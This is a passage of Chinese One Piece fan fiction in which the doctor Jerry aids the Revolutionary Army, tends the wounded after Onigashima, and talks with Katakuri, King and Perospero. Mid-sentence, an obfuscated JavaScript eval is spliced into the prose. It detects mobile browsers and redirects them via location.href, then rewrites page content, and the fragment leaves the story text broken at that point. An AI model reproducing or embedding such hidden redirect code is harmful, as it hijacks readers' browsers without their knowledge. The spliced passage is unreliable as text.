既然走到这一步了,那么她可以成为某种内应。身份伪装,玛丽乔亚细致的地图分部,内部的耳朵,作为一支家族的目前领导人,她都可以提供,只是对她来说太危险了。 杰里:“所以您们要保证她以后的安全,无论您们的目的是否达到,成功与否,都要把她带离圣地,革命军会背上''拐走天龙人''的罪名。” 不过也许这对他们来说反而是个提高声望的机会?毕竟香波地事件之后,他挟持天龙人的事情可是让很多人觉得他真是个大好人。 世界政府“暗杀”他就是一招臭棋,你看看现在他们是不满我还是不满你?话语权也压不住。 如果露娜茜茜雅同意的话,她得暂时留在革命军,别的地方她也呆不了。不过这么多年后终于可以“平安”离开圣地,她应该也不会介意。 龙其实是一个很讨厌战争的人。这还是他和贝加庞克聊天时对方吐露的,但是他清楚想要改变这个世界,“军队”一定要存在,幸福不会从天而降。 革命军的理念他喜欢,所以他才会在弗雷凡斯的废墟上对他们伸手,这么多年也一直是朋友。比起做救赎之人,他们更在乎“人”是否能够拯救自己。 奇迹之人伊万科夫打趣过他们二人的称号。人妖王最看重的就是无论是国家还是人,是否有求生的勇气,而他们不会放弃为自己站起来而拒绝乖乖等死的“弱者”。 这一点和他、巴/雷特,都是不谋而合的。只会依赖的藤壶,无论是医生还是革命军,都带不去生。所以当年在弗雷凡斯,他才会说“他不讨厌他这个''可怕的boy''”。 再次感慨把巴/雷特送来革命军真的是他这一生中最好的决定之一,杰里取来了联系露娜茜茜雅的电话虫。 去玛利乔亚主要是破坏天龙人的象征来正式宣战、尽可能解救更多奴隶、以及捣毁诸神领域的粮仓。同时在别的地区袭击运粮船,引起群众起义来转移海军战力,引起世间关注... 后半截会议他还是努力听了的,萨博负责带队要去玛丽乔亚让他有点担心。不愧是兄弟,路飞揍了天龙人,他直接跑上面去给天龙人断粮。露娜茜茜雅可以帮他们比较安全地潜入到更深的地方,所以杰里提议要不要找贝加庞克弄几个什么超级隐蔽录像拍照电话虫这类,这可是收集黑料的好机会。 “您们不是朋友吗?让他给您打个折,我去...啊我还不能去,我让人去取。” 玛丽乔亚内部那些乌七八糟的东西要是拍出来给摩尔冈斯,他能兴奋地喊大新闻喊到破音。 “其实搅起天龙人内部的叛乱会很有意思啊,断了粮之后的危机,再来点什么催化剂...?”杰里的嘴角越来越上扬,“让天龙人反抗【天龙人】?天龙人之间自相残杀的场景要是来个世界直播啧啧啧...那些家伙还想当神?” - “呋呋呋呋呋!他们什么反应?” 杰里剥着橘子,慢悠悠地掐掉白丝,在自己的房间里打电话虫。萨博有些无奈地坐在一旁,长辈递过来橘子他就吃,也插不上话。 杰里:“反正我念叨完,他们就一脸诡异的盯着我,还是和您认识太久了,都吓到他们了。” 多弗朗明哥心情愉悦,把脚跷在桌子上。 “你不去那上边看看?选个好地段。” “不,我就是个不定时炸弹您也清楚,脑子一热干点什么影响他们计划,您都不知道他们会议开了多少个小时。” 萨博认同点头,确实革命军会议都很长,但今天的还是太夸张了。 “【茵弗玛利】什么时候活过来?” “就让他死吧。”杰里笑了两声后摇摇头,即使对面看不见,“等需要医生的时候?” 多弗朗明哥办公室的门被推开,罗西南迪拿来了维尔高转交过来的文件。他翻阅着,将电话虫递给弟弟让二人聊天。 “呋呋呋呋,很快了,医生。” 杰里没听到,他和软咩咩说了会儿话,然后在萨博告诉他约好的时间到了的时候与二人道别。巴/雷特就是个虐待狂——至少对他是这样,哪有久别重逢开完会就拉他“训练”的啊? 打不过他真是他一生的憾事。 巴尔迪哥的空气干燥,蒸腾的汗水很快就会被吹干析成盐粒,血粘腻地流淌时,比起液体更像是滚烫的岩浆块从皮肤上滚落。 围观他们切磋的人很多,但是随着二人战况的激烈退得越来越远。波尼坐在爸爸的肩上大声给杰里加油,金妮听到女儿的呼声后也笑着加入。 其实还挺怀念的,和巴/雷特打架。子弹先生是罗杰的挑战者,他是巴/雷特的。多年不见,强壮高大的男人越变越强,杰里打着打着,突然有点担心自己会让他失望。 他没有放弃过对自身的锻炼,但是就像是他十年的努力也许艾斯路飞他们只需要两三年,自己在战力的上限和潜力其实完全比不上他们。 巴/雷特曾对他抱有期待吗?也许在他眼里自己永远都是一只弱小的老鼠吧。 曾经他没那么在乎,但是面对自己现在算得上世界佼佼者级别的强大老师,他突然—— 轰———! 输了呢。 杰里在漫长的疼痛后终于记得要呼吸。他的痛觉反馈慢,但是不代表就不疼。躺了一会儿之后,领子一勒被拎了起来。 “还行啊,小耗子。” 诶? 巴/雷特心情不错,没在意欢呼的人群,把手里的人往医务室拎。久违地和这小子打架带来的莫名愉悦让他忽视了身体的阵痛。他把人丢到医务室床上,自己也配合军医的检查治疗。 小耗子一声不吭,半晌才嘀咕这还是他第一次“训练”结束之后没骂他弱。巴/雷特哼笑一声,不顾疼痛地对着他挥了一下自己的胳膊。 “能把老子的胳膊打折,对于一只耗子来说还算看得过去。” 杰里的胳膊也折了一条,眨巴着眼睛任由自己像娃娃一样被急慌慌的医生们摆弄,手臂打上石膏挂在脖子上,军医拿来了让他很眼熟的药,标着双蛇杖的花纹。 老鼠就老鼠吧,就像子弹一样,只是昵称而已,即使巴/雷特不会承认。 不、“还行”、大概就是承认了吧? 他在巴/雷特嫌弃的表情里笑了出来,止不住的笑声让他本来就带伤的腹部疼得要死,不过他还是笑。 “等我能一击把您的胳膊打折,是不是就算得到您的真传了?” 巴/雷特凶狠地咧嘴:“差得远呢。” 好吧好吧,半路跑路的无良老师,看来是一辈子没法出师了。 杰里在处理好的伤口外裹上防水的塑料膜后打算去洗个澡,跌跌撞撞地走出医务室回到房间时,不小心打碎了门边柜子上的钟表。 93.风云起 革命军的宣战计划格外顺利,直到萨博失联。 萨博打来电话虫解释“杀害寇布拉国王”一事的真相和“虚空王座”,那一刻联络断开了。 萨博的生命卡没事,虽然冒着火星,但是至少确定他还活着。 杰里这个不算革命军的编外人员本来想去找自家孩子的,在莫名其妙的大地震后准备出发时,却接到珊米的联络。 伊甸乳制品生产地——露露西亚王国消失了。 伊甸政府管理者直接将这一分区剔除,压下了这件事。还是杰克逊那边调查后给珊米的消息,当时去接货的船没能回来,一并无影无踪,形成了一个巨型坑洞的海底瀑布。 一整座岛屿,就像没存在过一样,屠魔令也做不到。 “古代兵器?” 杰里皱眉点头:“只能这么解释了吧?【冥王】据说有一炮毁灭一座岛的力量,但是据我了解,冥王应该还没有出世?” 和之国如果开国了,那肯定是一个世界性的消息。汤姆那边不可能把冥王造出来,海王是白星,只能是天王。萨博打来电话虫的时候说他在露露西亚,但是还活着的话,应该事情发生时离开那个范围了。 “难怪露露西亚王国革命成功,却只剩''七国''” 虚空王座...怎么了? “本该空无一人的王座上有主人,被称为''伊姆''。” 身上还缠着纱布的萨博归来后如此解释道。 杰里一边听他诉说,一边将他帽子上的小录像电话虫回收。小小的幼年电话虫从护目镜的镜片后爬出,看起来也很虚弱,当时情况危急也影响到它,不知道后面还有没有在工作。 他将它交给林德伯格,看萨博身上蔓延出的黑雾往外吐东西。机密资料、不知名器具、虽然因为能力特性不可避免有些损坏,纸张都皱巴巴的,但是可以再被拼凑。 他的黑暗空间里没有空气,又会对进入的物体压缩,虽然他能控制程度,但是仍然没法以这个方式把已经受了重伤的寇布拉国王带出来。 萨博垂垂眼角,收起能力后再次打起精神,希望他带出来的文件能有很大帮助。露娜茜茜雅能给他争取到溜到档案室的时间不多,所以他只是见到了就塞进去,没有仔细阅读。 伊万科夫:“如果伊姆是古代活下来的就都可以解释了...!” 龙:“世界政府为什么时至今日才动用它?” 他甩着蝴蝶刀,听他们讨论头脑隐隐作痛。集中注意力,杰里,从雾里爬出来。 “贝加庞克先生曾经跟我说过艾格赫德的钢铁巨人是古代遗留物,但是不知道是什么能源驱动,会不会是因为同样来自于古代的兵器,需求的能源特殊?” 之前他们也没有能源来驱动?现在有了?哪里来的?能源... 啪、 他将蝴蝶刀握在手心。 “联系一下贝加庞克先生?” - 新世界遥遥的某一处,也有两伙人取得了联系。 “特拉仔!你怎么也在这里!” “草帽当家—!” 非法入侵的草帽海贼团很快在解释来意后,被热情的皮毛族们纳入朋友的范围。 “原来你也是茵弗阁下的晚辈啊。” 在罗介绍之后,犬岚看着面前戴草帽的年轻人点点头。 罗宾他是见过的,当年茵弗玛利来拜访时有带着她一起。她和罗一样,是知道这里有历史正文前来访问,只不过不像贝波有指向佐乌的生命卡,他们花了不少时间。 久别重逢,草帽船长手一拍就决定开宴会。白天与黑夜交织的黄昏,象主的背上久违地热闹了起来。皮毛族与新来的人类客人很快就打成一片,尤其是对布鲁克十分热情。 篝火的碳木与烤肉的焦香混在一起,被香甜的酒水冲开,离跳舞的人群不远处,佐乌的双王之一正在跟更为熟悉的两位小辈攀谈。 “茵弗阁下可还安好?虽然他生命卡无事,但是已经许久没有他的消息。” 罗宾和罗一样其实都不太清楚香波地一事之后具体发生了什么。但是从生命卡来看是没有什么危险,所以路飞说他也有他的冒险,相信他就好了。如果有危难,他们会去帮忙的。 罗已经在佐乌小住一阵了。贝波的哥哥杰波有下一块路标正文的消息,在BIGMOM那里。只凭他们去抢的话会很危险,所以他想等一个更好的时机。 “如果不是当家的你们来了,我们可能明天就要往托特兰前进了。” 罗宾:“是BIGMOM出征....?” 斑点帽青年点头,拿出一份报纸。时隔多年BIGMOM不知为何亲自带船出征,似乎在发泄对世界政府的不满,毁了政府和海军在万国范围附近的所有监视基地,撕破了长久监视四皇“相安无事”的面纱。 罗:“如果速度够快,应该能在她回去之前进入托特兰,她带走了手下不少兵力,是个很好的机会。” 他的视线扫过明明才来不久,已经成为群众中心的草帽青年:“如果你们也要去,我们可以合作。” 罗宾感谢了一下自己的童年友人,把船长叫了过来。在橡胶青年被一堆手运过来前,她笑着说:“不过就算BIGMOM在,路飞也会说''把四皇打飞''就好了,这样的话吧?” 罗无语地压压帽子,犬岚却突然开口:“如果事情顺利,能否拜托各位将我和老猫送到和之国?前段时间接到雷藏消息,百兽也在隐隐躁动不安,我等希望能陪伴在主公身边,以防万一。” 路飞歪头:“和之国?小姨说的那个?日志里有小豆丸子汤,还有玉兽,奇怪的武士大叔,忍者!” 罗宾:“御守哦,路飞。” 路飞认真点头,眼睛亮闪闪的:“好!下一站去忍者之国!” 罗宾:“和之国,不过罗说BIGMOM那里有路标历史正文,他们要去拿,问要不要同盟。” 路飞:“下一站历史正文!然后和之国!” 罗:“等等草帽当家的,我们要计划一下吧?分析一下分别都带哪些船员,全都去肯定还是...” - “哦啰啰啰!玲玲那个老太婆对政府动手了啊!叫她一起吧,烬!” “大哥...” 烬本以为自己对世界政府的愤怒已经满溢了,直到黑曼巴的多弗朗明哥传来消息,说世界政府用他的血统因子制造露娜莉亚族的人造人兵器,已经接替了七武海。 在派人调查后传回的肯定让他知道愤怒也许是无边际的火,就像他天生的火焰一样不会停息。 ''奇迹游医见过,他拜托我转告你呋呋呋''。 ''为什么...?'' ''因为他说你有权利知道自己被实验之后,带来了什么结果,他说...'' 【某种意义上来说,露娜莉亚族的血脉没有断绝,所以你不是孤身一人】 ''扭曲吧呋呋呋,我们的医生?'' ''它们是兵器。'' ''他们是人造人。'' 他不确定自己的火焰除了愤怒外,冒出来的那一点是什么。 凯多大哥知道了之后,说要把那些玩意抢过来——对世界政府动手,和BIGMOM现在在做的差不多。 扭曲吗? 他记得自己把那个人第二次抓过来关在审讯室里,肩膀被钉在墙上的时候没有痛呼,只是迷茫地抖抖睫毛,然后问他这里和他呆过的实验室像不像。 “...我去联系。” - “最近BIGMOM和百兽动作都很多。” “这片海的躁动压不住了啊。” 红发海贼团的副船长接过本乡递过来的报纸,展开默默地阅读着。他的船长坐在桌子的另一侧,将喝到一半的酒瓶举起在阳光下,连着染了色的酒液一起微微转动着。 贝克曼:“他们凑到一起,洛克斯海贼团复活的传言就出来了。不过白胡子那边没什么动作。” 香克斯对着酒浆与天空的交界线眯眼。 - “草帽路飞大闹托特兰,BIG MOM扬言要干掉他呢!不愧是我弟弟啊!” “这种事不要用这么骄傲的语气说出来吧?” 艾斯放下举到比斯塔面前的报纸,认真地点点头,看到端着给白胡子的食补汤出来的萨奇又窜了过去。 “萨奇!路飞和罗大闹托特兰...” “哦哦厉害了啊小子们!” 以藏扇扇折扇,有些无奈地询问离艾斯反应过来自家弟弟上了四皇的追杀令后变成担心大哥模式还有多久。 乔兹看了看日头,粗略地数了一下甲板上的人,嘀咕道:“三个小时吧。” - 屏息等待对方反馈调查结果的时间其实也没那么难熬,因为他猜也就是这个答案。除了他这个执念能源的政府名下天才发明家,谁还能给古代兵器提供动力? 也不过是那只鞋子终于踩下来而已。 果然是这个老头。 能在世界第一天才眼皮底子下偷东西还得是世界第一天才。 “我记得我提醒过您【欲望】的问题?” “正是,老朽因此对约克的制造无比上心,她很快就没有出格地通过了欲望层级的测试监测...” 很快?也就是他的提醒反倒让【欲望】叛变加快了?? 杰里甩着蝴蝶刀,有些愤恨地对着空气戳了几下,想象它是米霍克的十字小刀,现在就给过去的自己几下子。 就应该建议贝加庞克别造什么欲望出来,好奇第一天才会怎么控制这个问题干什么!欲望是没有尽头的,他不是早都知道这件事了吗? “老朽真是犯下大错了...” “那就赶紧弥补啊混蛋!” 龙将他拉到一边,代替他跟电话虫对面的人交谈。杰里咬咬牙,继续乱甩他的蝴蝶刀。一整座岛消失,这种概念是多可怕他们明白吧? 如果一个人说,一个小女孩惨死在炮火之下,很多人都会心生怜悯。但是当那个人说,某某小镇被毁了,死亡人数高达一百人。反而感到同情的人会不多,只会一眼扫过那个数字,叹息一声后将报纸翻到下一页。 露露西亚,消失了。 奥哈拉,毁灭了。 就是世界政府动动手指头的事。 数字后的人影呢? 没人在意。 办公室的大门被推开,萨博带着笑容跑进来,举着手里的报纸: “小姨!龙先生!路飞他——怎么了?” “锁门,萨博,别让别人进来。” 金发青年很少见他这么严肃,热切的心坠下后点点头,关门上锁。一般他会更有礼貌一点但是路飞的消息让他有点激动了... 杰里接过他手里的报纸阅读,大概就是什么路飞和罗大闹托特兰...托特兰? 他捏捏鼻梁,放下报纸。BIGMOM出征留守的是卡塔库栗他们吧,对上了? 萨博身为参谋总长自然是在龙的示意下一起去听电话虫出谋划策。杰里心情不大好,没有等他们聊完,打算去万国看看。 卡塔库栗伤得还挺重的,跟路飞打了一架,估计路飞伤得也不轻,还好有乔巴和罗在。不过他倒是带着一股轻松的气场,来接杰里的布蕾说是男子汉之间的战斗,没回答输赢的问题,所以他也就不打算问细节,感觉夸谁都不好。 来都来了,他顺便就给将星大人换个药,给自己也找点事情做。在告诉他最近少吃点奶油馅的甜甜圈,比他高了一倍的男人不爽地啧一声时终于幸灾乐祸地舒展眉头。 “妈妈已经知道了。” “她回来了?” “没有,在凯多那里拜访。” 杰里点头表示了解。卡塔库栗见他没有很担心地继续问也就不再提,毕竟这个人是草帽小子的家人,所以大概也知道那的确是个强大的家伙,是即使直面妈妈也会挺起胸膛的男人。 他弯腰配合对方换头上的纱布,从裤子口袋里摸出曾经被赠予的羽毛,低头仔细看着。自从那一战之后,他好像抖去了很多东西。一些枷锁,一些完美,一些正在更替的绒毛。 杰里换完药后看他捏着根对他来说太小的羽毛出神,也没打扰他,捋捋他的苋红色短发之后也抱着他的大脑袋发呆。 不担心是不可能的,他可能有点''爱打架的海贼王ptsd'',不过他头很疼,担心的事情很多。短暂的喘息吧,只是隔着一面镜子之外,还有那么多的喧嚣。 和自己比起来,卡塔库栗的体温高一些,大高个直起身子的时候他还挂在他脖子上,贴着毛茸茸又暖呼呼的热源。 “你很累?” “有点。” 卡塔库栗从来不问他最近在做什么这类,一般都是反过来,或者杰里自己会挑些有趣的事情跟他聊。所以在突然被询问时,他眨眨眼,好半天才反应过来。 一只大手暖烘烘地压在他背上,这也很新奇。即使隔着衣服和手套,也传来温度。骨缝里的寒冷终于消散了些 ,脑中一团结下意识松开些许,被他丢到一边。 他打个哈欠,突然笑了一声,呼出的气吹开围巾上的绒毛:“我怎么一被人抱着暖和了就想睡觉?” 卡塔库栗倒在床上,也闭上眼睛,没有提他转移话题的事情。 他也需要放松。 留守却让草帽他们拓走了历史正文,拆了蛋糕岛,妈妈回来后一定会责罚他,正因为他太完美,才不允许出现瑕疵。 他发现他不太介意。 而且布琳很快乐的样子,他知道不只是因为妈妈不在时她可以随意把刘海夹起。戚风也带着她的生父和丈夫孩子一起走了,他们像放飞她的保胎姐妹罗拉一样放飞了她。 咚咚、咚咚、 他的心跳无比平和。 杰里趴着的位置可以在腹腔处隐约感受到他的宁静,即使很细微。奇怪的感觉,以前都没有注意过,就像是活吞了卡塔库栗的心脏。 咚咚、咚咚、 隔着几层薄膜叩击。 “...我最近脑子转了很多,但是您也知道,这对现在的我来说很累,所以不舒服。” 他还是回答了他的问题,即使模糊。 扣在他背上的手顺了一下,安抚小动物的手法,有点生疏。 “这样啊。” 卡塔库栗仍然闭着眼睛,他知道自己手下轻抚的是人的后背,只是不知怎么,他总觉得自己摸到了羽毛。 所以他思考着,又顺了一下。 妈妈对政府态度转变,不顾大哥劝阻一意孤行,就像是被推动的多米诺骨牌。近些年夏洛特们在被他身上的人撬动之后都挤在笼子边缘,等着栏杆破碎的那一刻,这是他不用见闻色都能预感到的未来。 ''你以后还会打败妈妈吗?'' ''当然了!'' 那个男人看到了相当遥远的地方,比他这么多年能看到的更远。但是曾经,他也窥见过不是吗?在蜗牛上,透过一面镜子看到了舞与歌。 他一定摸到的是羽毛,他之前手里的那根。如果我们记得风,吹过脸颊—— “您再摸下去我就真的要睡着了...” 卡塔库栗回过神,意识到对方真的比起之前,骨头都完全放松地化在他身上。 “你可以睡一会儿。” “我还有事情,得回去了。” “去哪?” “我打算去和之国。” 既然天王在政府手里,不摸明白冥王的事情杰里放不下心,他得跟御田谈谈。 卡塔库栗再次顺过他的后背,抬手摘掉手套后将温暖的掌心贴在衬衫上。金发男人果然嘟囔了一句他可真狡猾不愧是大海贼这类的话。 再留一会儿吧,他们都需要一点自由。 所以他开口:“睡一会儿吧,我也睡觉。” - 蛋糕岛被打烂了,鬼岛也被打烂了。 杰里来的时候正好赶上战争的尾巴尖——火山爆发的气浪卷翻了他的船,和之国附近海域本来就海面情况复杂,船只难以靠近,海底地震带来的巨大波动直接将他连船带人掀到海里。 杰里努力抓住自己包裹的背带,没有办法再管其他,在汹涌的海流里努力向海面上游动。月步在这种时候就派上用场,在海里甚至比在空中更好借力——虽然消耗更大。 “咳咳、差点死了捏。”杰里掉到一艘花哨的巨船上歇脚,对着船上的夏洛特们伸手打了个招呼,“短短一会儿居然被卷到这么远——唔!” 红色封皮的书砖掉到甲板上发出钢铁坠落的闷响,沾染的血迹将其染得更加鲜红。 “...生气了?” “如果不是你妈妈才不会闹出这么多事,甚至跑来联手敌人四皇...!” “蒙多尔哥哥,够了!” 杰里捂住头上的伤口,血液流淌让他一只眼睛睁不太开——用能力的书砸他,这是什么小孩子发脾气。 “您们母亲呢?” BIGMOM接到托特兰消息,还没赶回万国,路飞一行人就送上门来了,掀翻他的船的火山喷发就是他们战斗的结果——BIGMOM和凯多战败。 点头感谢斯慕吉帮他榨去包裹里的水分,他又问了问带队的佩罗斯佩罗的消息——生死不明。 “我去鬼岛看看,也许他还活着。” 蒙多尔面色不善:“你——!” “恕我直言,蒙多尔先生,但是您们在圈养您们的母亲吗?”杰里打断了包括他在内的几名夏洛特,“我上次检查时,她是个海贼,您们也是海贼,我现在脚下的船隶属''BIGMOM海贼团''。” 既然当海贼,就要有厮杀的觉悟。这是胡子染血的海贼王教给他的道理。输了之后他们还不如好好想想之后要怎么办。如果担心母亲,活要见人死要见尸,就赶紧去近海捞捞看。 卡塔库栗和克力架他们还守着万国,这个消息一旦传出扑上来撕咬利益的海贼只会让他们压力越来越大。 现在他们的妈妈和女王不在,到底是要做丛林里的兽优胜劣汰地决出新王,还是兄弟姐妹齐心协力去守护想守护下去的东西,他们得尽早决定。 “一团散沙只会被新时代的浪潮冲散,您们需要一个领导者,不管是不是暂时的。” 其实之前领导托特兰的与其说是BIGMOM不如说是他们自己,尤其是自从洛克斯时代就跟随在BIGMOM身边的佩罗斯佩罗,他是个非常明白''海贼''的人。 “所以我现在去鬼岛,也许能把他带回——嘶好凉。” “芙兰佩!别闹了!” 臭小鬼。杰里拔出射到他身上的几根吹箭。他们不怎么熟悉,毕竟夏洛特出游那年她要么没出生要么就是婴幼儿,反正他不记得,要不是他和卡塔库栗关系好这小姑娘知道之后很不爽,他偶尔去托特兰做客她就要晃荡,他都对她没什么印象。 他闻了闻箭头后从包裹里取出一管急救血清注射到自己身体里,不能解百毒,但是闻味道也不是什么太复杂的毒素,估计也差不多。下手真狠啊小海贼。 蒙多尔:“...等等,我跟你去。” 书书阶梯是个好东西。 杰里有点晕乎,头上贴着纱布在鬼岛的废墟里给人做急救。 佩罗斯佩罗还活着,但是只剩一口气,没了右臂。倒是和百兽的副手差不多,烬的右翼也没了一半。两个家伙都掉在鬼岛底部边缘的部分,再飞远 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15094022|154812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点就是海了。 在废墟里做急救对他来说并不是什么太难的事情,经验很多。只是对患者来说不太友好,撑不下来就死定了,还好他们都挺怪物的。 杰里没有多想地优先把包裹里幸存的物资用在了佩罗斯佩罗身上。医生的偏爱是这样的,而且烬太大只了,其实他醒过来的话按露娜莉亚族的恢复能力应该能好得快一点。 佩罗斯佩罗伤到内脏了很危险,感染能熬过去就能活下来,熬不过去就完蛋,他的强力抗生素还有三支,他将两支交给蒙多尔。涂着白粉的男人在听到他的叮嘱后点头,将他的大哥带回妈妈圣歌号进一步救治。 剩下的一支给了御田。 世界政府真的很会钻空子,在动荡的时期派了CP0来企图吞掉和之国。那几个被御田干掉的面具男他不认识,虽然之前在路奇他们身边见到过。 乔巴泪汪汪地感谢他。御田被偷袭,伤得太重,和之国的药物大部分都是慢性草药。他自制的材料也不够了,毕竟整场战争的伤员救治都是他带着一小队医生撑起来的。 御田这么些年和百兽的对战也积累了不少暗伤,又上了年龄。杰里叹了口气,给仍然昏迷的男人盖好被子。将军之位大概很快就会传给下一代了吧,和之国如此混杂,他支撑了这么久,也该歇一歇了,退休去找白胡子和雷利贾巴他们喝酒都好。 这几天断断续续一直都有小型地震,大概战斗之后让底下分隔的山体断裂不稳了。再来一次重击,和之国不想开国也得开国。 御田昏迷,冥王的事情因此也是他和光月寿喜烧聊的。对方在知道世界政府手里已经有可以启用的古代兵器后很震惊,表示在御田醒来后会好好聊一聊。 这一战凶险万分,路飞心脏居然停过。即使他果实觉醒,也让他觉得心疼孩子。不过之前贾巴好像确实跟他说果实觉醒一般是在生死战斗中不破不立地顿悟的。 大闹一通倒是阴差阳错地释放了被百兽抓走关着的基德他们,帮着一起对抗四皇。 虽然大家都在昏睡,不过杰里也从还醒着的人口中得知了事情经过。一边听桃之助和日和的讲述,一边照顾伤员。 “象主叫路飞''乔伊·波伊''。说它是来完成使命的,但是和之国未开国,不久便离开了。” 乔伊·波伊? 未开国便离开...大概跟冥王有关? 杰里摸了一下橡胶男孩的脸颊,手指抚过一旁榻榻米上的草帽。他得给乔巴留一些药方,把不要命地打架带来的深渊苗头都掐掉。 揉着鼻梁走到隔壁房间看他的患者的时候,有些意外对方已经醒了。熊熊燃烧的火焰彰显着生命力,即使戴着海楼石手铐。 “感觉如何了先生?” 杰里上前听了一下,露娜莉亚族的血脉在快速恢复着烬的身体。翅膀的断截面很平滑,没有伤到关节所以装上假肢之后应该不会太影响活动,应该能想办法做一截假翅膀。 “...草帽是乔伊·波伊?” 倒是没想到第一个问他的是这个问题,所以说榻榻米墙真的很不隔音。杰里唔了一声开始拆烬身上的纱布。 “他是蒙奇·D·路飞。” 烬这些年也意识到凯多不是像他一开始以为的那样是传说中的战士乔伊·波伊,但是他是救了自己的人,他相信他的强大,愿意跟随他到世界尽头。 没有想到没能为凯多大哥尽忠。 海楼石让他没什么力气,只能任由面前的人踩在他身上给他治疗。空气里弥漫着血与药的味道,覆盖其上的是沉重的沉默。 的确沉重,奇迹游医在往他的右腿上栓沙袋。 “失去半截右翼您会不平衡,提前适应一下,不要把重量全放在左边。” “为什么救我?” “医生救人需要原因吗?” 奎因他们就没问这种问题。 杰里在忙碌完后在他身边坐下,揉着左腿打了个喷嚏。好累,给六米的家伙换一次药都是体力活。 白发男人犹豫后询问道:“凯多大哥...还活着吗?” 他昏迷的时候战斗还没有结束,醒过来的时候就已经在这里了。 杰里:“不知道,有可能。他不是□□强度不亚于BIGMOM,甚至超过些许吗?只是如果一直被压在岩浆层会窒息吧。” 见到烬面具后的样子,杰里想让他见炽天使一面的想法更甚,虽然不是真的族人。 只是他被打败关押,真是可惜。 “它们...什么样子?” 无意识的嘟囔被听见了,杰里耸耸肩回答道:“就是小孩子的样子,七武海的模样,但是和您一样白发深色皮肤,背上有翅膀火焰。可能是您们种族的关系,都很高大。” 说是机器也不算,就是改装人造人,被灌输了指令。但是偶尔露出来一点“非机械”的感觉,那种自我意识,让杰里觉得把那些什么指令洗掉之后也能像正常人,正常孩子一样生活。 就像是索拉四胞胎,只不过更极端一些。但是不尝试一下怎么知道?后天的教育引导,加上一些外力辅助,不就活过来了? 他突然笑了:“我有一个画面其实非常想要见到。” 被天龙人灭族驱赶离开红土大陆的露娜莉亚族,再次成群结队地飞过红土大陆的上空。 成年人会教族里的小孩子怎么飞吗?暴躁些的老师会不会把孩子们从红土大陆上踢下去,然后看他们像小鸟一样扑腾扑腾地飞起来。 “那个小汉库克小姐,在我和路飞拜托他解开大家的石化的时候脸都红了,很可爱呢。” 杰里眼睛弯弯,一边比划着一边描述他想象中那些人造人们“活过来”之后,回到红土大陆后会做什么。他们会不会对那里有一种本能的亲切呢?乡情是刻在血脉里的东西。 烬这种严厉又严肃的人,会管教他们的那些顽劣心性吧。不过他会不喜欢这些“不纯正的族人”也有可能。打起来的话也很有意思,一个在什么地方都能生存下的种族,是不会对命运认输的。 烬静静地听着,在他说到最后一句话的时候捏紧了拳头。矮小的金发男人转向他,笑着问他认输了吗? 曾经自由过,再被世界政府抓走伤害过,无能为力直到凯多把他救出去的阿贝尔。 遮住自己身上的每一寸特征,吃下恶魔果实掩盖身份的烬。 阿贝尔对命运认输了吗? 也许杰里的确扭曲,揭开别人血淋淋的伤疤,只是因为他好奇。逼迫人们去看啊看啊,直视那些脓血,只是因为他想知道之后他们会怎么选择。 他仍然好奇那间审讯室里有多少酷刑器具,是世界政府为了实验“露娜莉亚族”的存活能力而在他身上做过的。人的暴虐总会来源于某处,被一些特定的经历激化。 他可是海贼,凯多的副手,百兽的大看板。凯多要对着政府动手的时候他真的不兴奋吗?把那些雀占鸠巢的家伙挑下来,拿回自己的名字。 烬垂眸,看向自己被海楼石锁着的手脚。解放的战士,乔伊·波伊,到底是谁呢。 “我还有一个名字,叫阿贝尔。” 凯多给他的名字他是不会放弃的,但是也许、 杰里哦了一声,对他没有说''曾经''而是''还有''这件事感到有趣:“我还有一个名字叫杰里,知道的人不多呢,秘密换秘密?” 茵弗玛利(infirmary)的确和烬(King)一样,是很符号的名字。 他转转眼睛,虽然烬脱离生命危险按理来说就会像奎因他们一样被关到监狱里。但是.... - “小姨来过了??为什么不多呆一阵啊!还没开宴会呢!” 乔巴拍了拍路飞让他不要乱动,继续把听诊器往他身上戳。 “什么!小阁下来过了!许久不见都不和长辈打招呼...还是如此心狠手辣地帅气啊!” “父亲大人,他带走了敌人...” 御田愣了一下,配合地在妻子过来帮他换药时抬起手臂。 “啊,茵弗次郎一定有他的道理吧!如果敌人再来,要努力保护和之国啊桃之助,日和!” “是!” - “库库库居然把敌人带到我们船上来...” “啊?您们不是联盟起来打我家孩子来着?” 佩罗斯佩罗也挺过来他就放心了。杰里捏捏他现在用糖果造的假肢后舔了下手指——葡萄味。 “之后有什么打算,我的镜子掉海里咯,这次可不是我砸的。” 之后再去托特兰就不方便了,不过托特兰也要经历大变革,他暂时不去打搅也好。 “如果BIGMOM海贼团要变成夏洛特海贼团,那我支持您当管理者。” “我当第一还真是难得呢佩罗琳。” 佩罗斯佩罗从弟弟妹妹们那里听说了是茵弗玛利去鬼岛把他挖回来的,也转告了他在甲板上说的话。他身旁的人把他披散的波点长发编成辫子,轻松的样子不知道在想什么。 斯慕吉一直都很喜欢茵弗玛利,毕竟出游那年她正是爱玩的青春年纪。她悄悄告诉他蒙多尔用书砸他,芙兰佩又对着他攻击的事情。 ''他原谅我们了。'' 卡塔库栗当年这样说。 即使海贼不需要原谅。 也许他只是没责怪过。 “你接下来去哪里佩罗琳。” “送烬先生去艾格赫德看看,然后去拿回我的东西。” 杰里放下手中编好的辫子,起身准备离开。 “跟着您的弟弟妹妹们一起飞吧,薄荷糖先生,不必停在枝桠上。” 风要来了,那天空那么高—— 【别在低处滑翔。】 94.朝阳献 “杀掉自己的挚友,很不好受吧。” “真犀利啊,库赞。” 青雉放下手中的报纸。上面是有关他的挚友的报道。近来有关茵弗玛利的报道太多了一点。 生死不明的奇迹游医在贝加庞克全世界的广播后确认【复活】,并以迅雷不及掩耳之势夺回了伊甸的管理权——在反水的CP0的帮助下。 民众对这件事喜闻乐见。 炽天使回收失败,权威芯片除了CP0再高一级便是五老星,百兽海贼团余党炎灾烬出现在艾格赫德,协助夺走了炽天使。 